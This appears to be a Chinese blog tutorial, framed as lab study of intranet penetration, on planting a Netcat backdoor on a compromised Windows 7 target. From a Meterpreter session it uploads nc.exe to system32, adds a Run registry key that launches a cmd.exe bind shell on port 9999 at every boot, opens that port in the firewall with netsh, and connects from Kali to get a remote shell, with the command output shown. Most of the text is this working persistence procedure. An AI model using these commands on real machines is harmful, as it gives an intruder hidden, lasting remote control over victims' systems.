【网络安全】内网渗透NC木马后门复现

本文章仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若读者因此作出任何危害网络安全的行为,后果自负,与作者无关。

首先假设已经通过Kail成功入侵靶机:https://blog.csdn.net/mshxuyi/article/details/136377760

一、通过Kail创建NC后门 

1、拷贝NC到靶机 

meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

# 输出
[*] Uploading  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
[*] Completed  : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe

2、通过注册表设置开机启动

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v Netcat -d 'C:\windows\system32\nc.exe -l -d -p 9999 -e cmd.exe'

# 输出
Successfully set Netcat of REG_SZ.

3、进入Shell

meterpreter > shell

# 输出
Process 1548 created.
Channel 2 created.
Microsoft Windows [°汾 6.1.7600]
°爨̹Ԑ (c) 2009 Microsoft Corporation¡£±£´̹ԐȨ{¡£


# 改变编码
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001

 4、创建防火墙规则

C:\Windows\system32>netsh firewall add portopening TCP 9999 "Netcat" ENABLE ALL

# 输出
netsh firewall add portopening TCP 9999 "Netcat" ENABLE ALL

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at http://go.microsoft.com/fwlink/?linkid=121488 .

Ok.

二、重启Win7靶机,并查看

1、查看开机启动项

2、查看防火墙规则

3、查看进程

三、验证后门

1、连接靶机

┌──(root?Kali)-[~]
└─# nc -v 10.3.0.234 9999

# 输出
10.3.0.234: inverse host lookup failed: Unknown host
(UNKNOWN) [10.3.0.234] 9999 (?) open
Microsoft Windows [°汾 6.1.7600]
°爨?? (c) 2009 Microsoft Corporation??±?????{??

2、查看主机名

C:\Windows\system32>hostname

# 输出
hostname
tomma-PC
  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值